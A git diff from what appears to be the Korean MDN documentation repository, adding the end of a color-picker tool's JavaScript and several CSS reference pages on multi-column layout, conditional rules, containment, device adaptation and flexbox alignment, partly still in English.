+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+ +

{{CSSRef}}

+ +

이 도구를 사용하면 웹용 사용자 정의 색상을 쉽게 만들고 조정하고 실험 할 수 있습니다. 또한 HEXA 색상, RGB (빨강 / 녹색 / 파랑) 및 HSL (색조 / 채도 / 밝기)를 비롯하여 CSS 에서 지원하는 다양한 색상 형식 간에 쉽게 변환 할 수 있습니다 . RGB (rgba) 및 HSL (hsla) 형식에서도 알파 채널을 제어 할 수 있습니다.

+ +

색상을 정의하는 매개 변수를 조정하면 세 가지 표준 웹 CSS 형식으로 모두 표시됩니다. 또한 현재 선택한 색상을 기반으로 HSL 및 HSV 용 팔레트와 알파가 생성됩니다. "스포이드"스타일 색상 선택 도구 상자는 HSL 또는 HSV 형식으로 전환 할 수 있습니다. 도구의 바닥에있는 상자로 색상을 드래그하고 서로 위로 움직여 색상을 비교할 수 있습니다. 상대 Z 색인 값을 조정하여 서로를 앞뒤로 이동하십시오.

+ +

이 도구는 HTML 에 적용 할 완벽한 CSS 색상을 식별하는 데 도움을줍니다 .

+ +

 

+ +

 

+ +

{{EmbedLiveSample ( 'ColorPicker_Tool', '100 %', '900')}}

+ +

위에서 작성한 생성 된 색상은 달리 명시하지 않는 한 CSS 및 HTML에서 색상이 사용되는 모든 위치에서 사용할 수 있습니다.

+ +

 

+ +

 

+ +

See also

+ +

For more on using color, see:

+ + diff --git a/files/ko/web/css/css_columns/index.html b/files/ko/web/css/css_columns/index.html new file mode 100644 index 0000000000..efe31f5761 --- /dev/null +++ b/files/ko/web/css/css_columns/index.html @@ -0,0 +1,89 @@ +--- +title: CSS Multi-column Layout +slug: Web/CSS/CSS_Columns +tags: + - CSS + - CSS Multi-column Layout + - Layout + - Overview + - Reference +translation_of: Web/CSS/CSS_Columns +--- +
{{CSSRef}}
+ +

CSS Multi-column Layout은 다단 레이아웃을 정의하는 CSS 모듈입니다. 레이아웃에서 단의 숫자와 콘텐츠가 하나의 단에서 다른 단으로 흐르는 방식, 단 사이의 간격, 구분선과 구분선의 모양 등의 지원을 포함하고 있습니다.

+ +

참고

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("break-after")}}
  • +
  • {{cssxref("break-before")}}
  • +
  • {{cssxref("break-inside")}}
  • +
  • {{cssxref("column-count")}}
  • +
  • {{cssxref("column-fill")}}
  • +
  • {{cssxref("column-gap")}}
  • +
  • {{cssxref("column-rule")}}
  • +
  • {{cssxref("column-rule-color")}}
  • +
  • {{cssxref("column-rule-style")}}
  • +
  • {{cssxref("column-rule-width")}}
  • +
  • {{cssxref("column-span")}}
  • +
  • {{cssxref("column-width")}}
  • +
  • {{cssxref("columns")}}
  • +
+
+ +

관련 CSS Fragmentation 속성

+ +
+
    +
  • {{cssxref("break-after")}}
  • +
  • {{cssxref("break-before")}}
  • +
  • {{cssxref("break-inside")}}
  • +
  • {{cssxref("orphans")}}
  • +
  • {{cssxref("widows")}}
  • +
+
+ +

안내서

+ +
+
다단 레이아웃 기초 개념
+
다단 레이아웃 명세를 훑어봅니다.
+
단 꾸미기
+
구분선과 단 사이 간격을 조절합니다.
+
폭과 균형
+
요소가 모든 단에 걸쳐있도록 만들고, 한 단이 채워지는 방식을 조정합니다.
+
다단에서 오버플로 다루기
+
어떤 요소가 자신의 단을 넘쳤을 때 일어나는 일과, 컨테이너 너비에 맞추기에는 너무 많은 단이 들어있을 때 발생하는 일을 배웁니다.
+
다단에서 콘텐츠 끊기
+
CSS Fragmentation 명세의 소개와 함께 단 콘텐츠를 끊는 법을 배웁니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Multicol')}}{{Spec2('CSS3 Multicol')}}초기 정의
+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_conditional_rules/index.html b/files/ko/web/css/css_conditional_rules/index.html new file mode 100644 index 0000000000..22576d5256 --- /dev/null +++ b/files/ko/web/css/css_conditional_rules/index.html @@ -0,0 +1,44 @@ +--- +title: CSS Conditional Rules +slug: Web/CSS/CSS_Conditional_Rules +tags: + - CSS + - CSS Conditional Rules + - Overview + - Reference +translation_of: Web/CSS/CSS_Conditional_Rules +--- +
{{CSSRef}}
+ +

CSS Conditional Rules는 프로세서 또는 스타일 시트에 적용되는 문서의 기능에만 기반을 두는 규칙 집합을 정의할 수 있는 CSS 모듈입니다.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@document")}}
  • +
  • {{cssxref("@media")}}
  • +
  • {{cssxref("@supports")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}초기 정의
diff --git a/files/ko/web/css/css_containment/index.html b/files/ko/web/css/css_containment/index.html new file mode 100644 index 0000000000..bbfe8f3e7c --- /dev/null +++ b/files/ko/web/css/css_containment/index.html @@ -0,0 +1,123 @@ +--- +title: CSS Containment +slug: Web/CSS/CSS_Containment +translation_of: Web/CSS/CSS_Containment +--- +

{{CSSRef}}
+ CSS Containment 사양의 목표는 개발자가 페이지의 하위 트리(subtree)를 페이지의 나머지 부분과 분리할 수 있도록 하여 웹 페이지의 성능을 향상시키는 것입니다. 브라우저가 페이지의 일부가 독립적임을 인식하면 렌더링을 최적화 하고 성능을 개선 할 수 있습니다. 사양은 단일 CSS 속성(property) {{cssxref("contain")}}을 정의합니다. 이 문서는 사양의 기본 목표를 설명합니다.

+ +

기본 예제

+ +

많은 웹 페이지에는 서로 독립적인 여러 섹션이 포함되어 있습니다. 예를들면 아래 마크업에서와 같이 아티클, 헤드라인, 콘텐츠 로 이루어진 목록입니다.

+ +
<h1>My blog</h1>
+<article>
+  <h2>Heading of a nice article</h2>
+  <p>Content here.</p>
+</article>
+<article>
+  <h2>Another heading of another article</h2>
+  <p>More content here.</p>
+</article>
+ +

각 아티클에는 CSS에서 {{cssxref("contain")}} 속성의 값으로 content 가 적용되어 있습니다.

+ +
article {
+  contain: content;
+}
+ +

각 아티클은 페이지의 다른 아티클과 독립적이므로 브라우저에 이러한 사실을 알리기 위해 contain: content가 포함되어 있습니다. 그러면 브라우저는 이 정보를 사용하여 컨텐츠를 렌더링하는 방법을 결정할 수 있습니다. 예를들어 볼 수 있는 영역 밖에있는 아티클은 렌더링하지 않을 수 있습니다. 

+ +

각 <article> 에 contain 속성의 값을 content 로 제공하면, 새 요소(element)가 삽입될 때 브라우저는 containing 요소들의 하위 트리 외부 영역을 relayout(reflow)하거나 repaint 할 필요가 없음을 인식합니다. <article> 이 내용에 따라 크기가 달라지도록 스타일을 지정하더라도(예: height: auto), 브라우저는 크기 변경을 고려해야 할 수 있습니다.

+ +

우리는 contain 속성을 통해 각 아티클이 독립적이라고 말했습니다.

+ +

content 값은 contain: layout paint의 약어입니다. 브라주어에 요소의 내부 레이아웃이 페이지의 나머지 부분과 완전히 분리되어 있으며, 요소에 대한 모든 것이 경계 내부에 그려져 있음을 알려줍니다. overflow되어 보이는 것이 없습니다.

+ +

이 정보는 페이지를 작성하는 웹 개발자에게 일반적으로 알려져 있으며, 사실 매우 분명합니다. 그러나 브라우저는 귀하의 의도를 추측할 수 없고, 아티클이 완전히 독립적일 것이라고 가정할 수 없습니다. 따라서 이 속성은 브라우저에게 이 사실을 설명하고, 그 정보를 기반으로 성능 최적화를 수행할 수 있는 좋은 방법을 제공합니다.

+ +

주요 개념 및 용어

+ +

이 사양은 오로지 {{cssxref("contain")}} 이라는 하나의 속성(property)만 정의합니다. 이 속성의 값은 해당 요소에 적용 할 포함 유형을 나타냅니다.

+ +

Layout containment

+ +
article {
+  contain: layout;
+}
+ +

Layout 은 일반적으로 전체 문서로 범위가 지정됩니다. 즉, 하나의 요소를 이동하면 전체 문서를 다른 곳으로 이동할 수 있는 것처럼 처리해야 합니다. 그러나 contain: layout 을 사용하면 브라우저에 이 요소만 확인하면 된다고 알려줄 수 있습니다. 요소 내부의 모든 항목은 해당 요소로 범위가 지정되고, 페이지의 나머지 부분에는 영향을 주지 않습니다. 그리고 containing box는 독립적인 formatting context를 설정합니다.

+ +

추가사항

+ +
    +
  • float 레이아웃은 독립적으로 수행됩니다.
  • +
  • Margin 이 layout containment 경계를 가로질러 병합(collapse)되지 않습니다.
  • +
  • layout 컨테이너는 position: absolute/fixed 의 하위 항목에 대한 containing block이 됩니다.
  • +
  • containing box는 stacking context를 생성합니다. 따라서 {{cssxref("z-index")}} 를 사용할 수 있습니다.
  • +
+ +

Paint containment

+ +
article {
+  contain: paint;
+}
+ +

Paint containment 는 기본적으로 박스를 주요 박스(principal box)의 패딩 경계에 클립(clip - 맞춰서 채우기)합니다. overflow되어 보이는 것이 없습니다. paint containment 도 layout containment 와 마찬가지입니다. (위 참조).

+ +

또다른 장점은 containing box가 화면 밖에 있으면, 브라우저가 contained 요소를 paint 할 필요가 없다는 것입니다. 이 때 요소가 box에 포함되어 있으므로 화면에 표시되지 않아야 합니다.

+ +

Size containment

+ +
article {
+  contain: size;
+}
+ +

Size containment 는 자체적으로 사용될 때 성능 최적화 방법을 많이 제공하지 않습니다. 그러나 이는 요소의 자식 크기가 요소 자체의 크기에 영향을 줄 수 없음을 의미합니다. 요소의 크기는 자식이 존재하지 않는 것처럼 계산됩니다.

+ +

contain: size 를 적용하면, 이를 적용한 요소의 크기도 지정해야 합니다. 수동으로 크기를 지정하지 않으면, 대부분의 경우 크기가 0이 됩니다.

+ +

Style containment

+ +
article {
+  contain: style;
+}
+ +

style containment 는 이름에도 불구하고 Shadow DOM에서 얻을 수 있는 범위(scope) 스타일을 제공하지 않습니다. 주요 사용 사례는, 요소에서 CSS Counter 가 변경되어 나머지 트리에 영향을 미칠 수 있는 상황을 방지하는 것입니다.

+ +

contain: style 을 사용하면 {{cssxref("counter-increment")}} 와 {{cssxref("counter-set")}} 속성이 해당 하위 트리로만 범위가 지정된 새 카운터를 만들 수 있습니다.

+ +
+

주의: style containment 는 사양에서 "at-risk" 이며, 모든 곳에서 지원하지 않을 수 있습니다(현재 파이어폭스는 지원하지 않음).

+
+ +

Special values

+ +

contain 에는 두 가지 특수한 값이 있습니다.

+ +
    +
  • content
  • +
  • strict
  • +
+ +

위의 예에서 첫 번째를 만났습니다. contain: content 는 layout 과 paint containment를 모두 활성화합니다. 사양에서는 이 값을 "광범위하게 적용하기에 합리적으로 안전" 하다고 설명합니다. size containment 를 적용하지 않으므로 자식의 크기에 의존하고, 때문에 박스 크기가 0이 될 위험이 없습니다.

+ +

가능한 많은 containment 를 얻으려면 contain: strict 를 사용할 수 있습니다. 이는 contain: size layout paint 와 같습니다. 또는 style containment 를 지원하는 브라우저에서는 다음과 같이 사용할 수 있습니다.

+ +
contain: strict;
+contain: strict style;
+ +

Reference

+ +

CSS Properties

+ +
    +
  • {{cssxref("contain")}}
  • +
+ +

External resources

+ + diff --git a/files/ko/web/css/css_device_adaptation/index.html b/files/ko/web/css/css_device_adaptation/index.html new file mode 100644 index 0000000000..bd55f655bc --- /dev/null +++ b/files/ko/web/css/css_device_adaptation/index.html @@ -0,0 +1,42 @@ +--- +title: CSS Device Adaptation +slug: Web/CSS/CSS_Device_Adaptation +tags: + - CSS + - CSS Device Adaptation + - Overview + - Reference +translation_of: Web/CSS/CSS_Device_Adaptation +--- +
{{CSSRef}}
+ +

CSS Device Adapation은 뷰포트의 크기, 줌 배율(factor) 및 방향을 정의할 수 있는 CSS 모듈입니다.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@viewport")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS3 Device")}}{{Spec2("CSS3 Device")}}초기 정의
diff --git a/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html new file mode 100644 index 0000000000..677cf2fdaf --- /dev/null +++ b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html @@ -0,0 +1,211 @@ +--- +title: Aligning Items in a Flex Container +slug: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container +--- +

{{CSSRef}}

+ +

flexbox가 웹 개발자들의 관심 받게된 이유 중 하나는 웹 최초로 최초로 적절한 정렬 기능을 제공했기 때문입니다. flexbox의 수직 정렬 기능을 이용하여 우리는 드디어 쉽게 박스(역주: 여기서 박스는 flex 컨테이너를 의미합니다)  내부를 중앙 정렬 할 수 있게 되었습니다. 이 가이드에서 우리는 flexbox의 정렬 및 끝 마추기 기능에 대해 자세히 살펴볼 것입니다.

+ +

박스 내부를 중앙 정렬 하기 위해 박스에 align-items 속성을 지정하면 교차 축에 대해 flex 항목을 정렬할 수 있습니다. 아래 경우, 교차 축은 수직 축입니다. justify-content 속성을 지정하면 flex 항목을 주축에 대해 정렬 할 수 있습니다. 아래 경우, 주축은 수평 방향입니다.

+ +

A containing element with another box centered inside it.

+ + + +

아래 예제의 코드를 살펴보세요. flex 컨테이너(역주: .box로 지정된 div 태그)나 flex 항목(역주:  .box div로 지정된 div 태그)의 크기를 조절해도 flex 컨테이너 내부는 중앙 정렬됨을 보실 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

+ +

정렬 제어용 속성 목록

+ +

이 글에서 살펴볼 속성들은 다음과 같습니다.

+ +
    +
  • {{cssxref("justify-content")}} — 주축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.
  • +
  • {{cssxref("align-items")}} — 교차축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.
  • +
  • {{cssxref("align-self")}} — 개별 flex 항목을 교차 축에 대해 정렬 하는 방식을 제어. flex 항목에 지정하는 속성.
  • +
  • {{cssxref("align-content")}} — described in the spec as for “packing flex lines”; controls space between flex lines on the cross axis.
  • +
+ +

또한, 이글에서 flexbox기반 정렬에서 margin 속성 값이 어떨게 쓰이는지 살펴볼 것입니다.

+ +
+

Note: The alignment properties in Flexbox have been placed into their own specification — CSS Box Alignment Level 3. It is expected that this spec will ultimately supersede the properties as defined in Flexbox Level One.

+
+ +

교차축

+ +

align-itemsalign-self 속성들은 flex 항목들을 교차축으로 정렬하는 것을 제어합니다. 만약, flex-directionrow로 설정되어있다면 열 (column) 아래로 정렬을 하게되고, flex-directioncolumn으로 설정되어있다면 행 (row)을 따라 정렬됩니다. 

+ +

가장 간단한 flex예시는 교차축을 이용합니다. display: flex를 컨테이너에 추가하게되면, 모든 자식 항목들이 열 (row), 즉 가로 방향으로 정렬이 되는 flex 항목이 됩니다. 이 경우 가장 큰 y축의 크기, 즉 높이가 가장 큰 자식 항목이 교차축의 높이를 정의하게 되고, 나머지 자식 항목들은 이 높이에 맞추어 높이가 늘어나게 됩니다. 만약 flex 컨테이너의 높이가 지정이 되어있다면, 자식 항목 내용에 상관없이 지정된 높이 만큼 모든 자식 항목들이 늘어나게됩니다. 

+ +

Three items, one with additional text causing it to be taller than the others.

+ +

Three items stretched to 200 pixels tall

+ +

모든 항목들이 같은 높이를 갖게되는 이유는 교차축을 중심으로 정렬을 제어하는 속성인 align-items에 지정된 초기값이 stretch로 설정이 되어있기 때문입니다. 

+ +

이외에도 다른 값을 지정해서 항목들이 정렬되는 방식을 다르게 정의 할 수 있습니다:

+ +
    +
  • align-items: flex-start
  • +
  • align-items: flex-end
  • +
  • align-items: center
  • +
  • align-items: stretch
  • +
  • align-items: baseline
  • +
+ +

아래의 예시를 보면, align-items값이 stretch로 지정이 되어있습니다. 여기에 다른 값들을 넣어서 항목들이 flex 컨테이너 안에서 어떻게 정렬이 되는지 확인해보세요.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} 

+ +

align-self로 항목 한 개를 정렬하기

+ +

The align-items property sets the align-self property on all of the flex items as a group. This means you can explicitly declare the align-self property to target a single item. The align-self property accepts all of the same values as align-items plus a value of auto, which will reset the value to that which is defined on the flex container.

+ +

In this next live example, the flex container has align-items: flex-start, which means the items are all aligned to the start of the cross axis. I have targeted the first item using a first-child selector and set that item to align-items: stretch; another item has been selected using its class of selected and given align-self: center. You can change the value of align-items or change the values of align-self on the individual items to see how this works.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} 

+ +

Changing the main axis

+ +

So far we have looked at the behaviour when our flex-direction is row, and while working in a language written top to bottom. This means that the main axis runs along the row horizontally, and our cross axis alignment moves the items up and down.

+ +

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis.

+ +

If we change our flex-direction to column, align-items and align-self will align the items to the left and right.

+ +

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis.

+ +

You can try this out in the example below, which has a flex container with flex-direction: column yet otherwise is exactly the same as the previous example.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} 

+ +

Aligning content on the cross axis — the align-content property

+ +

So far we have been aligning the items, or an individual item inside the area defined by the flex-container. If you have a wrapped multiple-line flex container then you might also want to use the align-content property to control the distribution of space between the rows. In the specification this is described as packing flex lines.

+ +

For align-content to work you need more height in your flex container than is required to display the items. It then works on all the items as a set, and dictates what happens with that free space, and the alignment of the entire set of items within it.

+ +

The align-content property takes the following values:

+ +
    +
  • align-content: flex-start
  • +
  • align-content: flex-end
  • +
  • align-content: center
  • +
  • align-content: space-between
  • +
  • align-content: space-around
  • +
  • align-content: stretch
  • +
  • align-content: space-evenly (not defined in the Flexbox specification)
  • +
+ +

In the live example below, the flex container has a height of 400 pixels, which is more than needed to display our items. The value of align-content is space-between, which means that the available space is shared out between the flex lines, which are placed flush with the start and end of the container on the cross axis.

+ +

Try out the other values to see how the align-content property works.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} 

+ +

Once again we can switch our flex-direction to column in order to see how this property behaves when we are working by column. As before, we need enough space in the cross axis to have some free space after displaying all of the items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} 

+ +
+

Note: the value space-evenly is not defined in the flexbox specification and is a later addition to the Box Alignment specification. Browser support for this value is not as good as that of the values defined in the flexbox spec.

+
+ +

See the documentation for justify-content on MDN for more details on all of these values and browser support.

+ +

Aligning content on the main axis

+ +

Now that we have seen how alignment works on the cross axis, we can take a look at the main axis. Here we only have one property available to us — justify-content. This is because we are only dealing with items as a group on the main axis. With justify-content we control what happens with available space, should there be more space than is needed to display the items.

+ +

In our initial example with display: flex on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of justify-content being flex-start. Any available space is placed at the end of the items.

+ +

Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.

+ +

The justify-content property accepts the same values as align-content.

+ +
    +
  • justify-content: flex-start
  • +
  • justify-content: flex-end
  • +
  • justify-content: center
  • +
  • justify-content: space-between
  • +
  • justify-content: space-around
  • +
  • justify-content: stretch
  • +
  • justify-content: space-evenly (not defined in the Flexbox specification)
  • +
+ +

In the example below, the value of justify-content is space-between. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} 

+ +

If the main axis is in the block direction because flex-direction is set to column, then justify-content will distribute space between items in that dimension as long as there is space in the flex container to distribute.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} 

+ +

Alignment and Writing Modes

+ +

Remember that with all of these alignment methods, the values of flex-start and flex-end are writing mode-aware. If the value of justify-content is start and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.

+ +

Three items lined up on the left

+ +

However if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.

+ +

Three items lined up from the right

+ +

The live example below has the direction property set to rtl to force a right-to-left flow for our items. You can remove this, or change the values of justify-content to see how flexbox behaves when the start of the inline direction is on the right.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} 

+ +

Alignment and flex-direction

+ +

The start line will also change if you change the flex-direction property — for example using row-reverse instead of row.

+ +

In this next example I have items laid out with flex-direction: row-reverse and justify-content: flex-end. In a left to right language the items all line up on the left. Try changing flex-direction: row-reverse to flex-direction: row. You will see that the items now move to the right hand side.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} 

+ +

While this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. flex-start will be where the start of a sentence of text would begin.

+ +

Diagram showing start on the left and end on the right.

+ +

You can switch them to display in the block direction for the language of your document by selecting flex-direction: column. Then flex-start will then be where the top of your first paragraph of text would start.

+ +

Diagram showing start at the top and end at the bottom.

+ +

If you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. flex-start will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.

+ +

Diagram showing start on the right and end on the left.

+ +

Diagram showing end at the top and start at the bottom

+ +

Using auto margins for main axis alignment

+ +

We don’t have a justify-items or justify-self property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.

+ +

A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a justify-self property, however consider the image below. I have three items on one side and two on the other. If I were able to use justify-self on item d, it would also change the alignment of item e that follows, which may or may not be my intention.

+ +

Five items, in two groups. Three on the left and two on the right.

+ +

Instead we can target item 4 and separate it from the first three items by giving it a margin-left value of auto. Auto margins will take up all of the space that they can in their axis — it is how centering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.

+ +

In this live example, I have flex items arranged simply into a row with the basic flex values, and the class push has margin-left: auto. You can try removing this, or adding the class to another item to see how it works.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} 

+ +

Future alignment features for Flexbox

+ +

At the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the space-evenly value for align-content and justify-content properties.

+ +

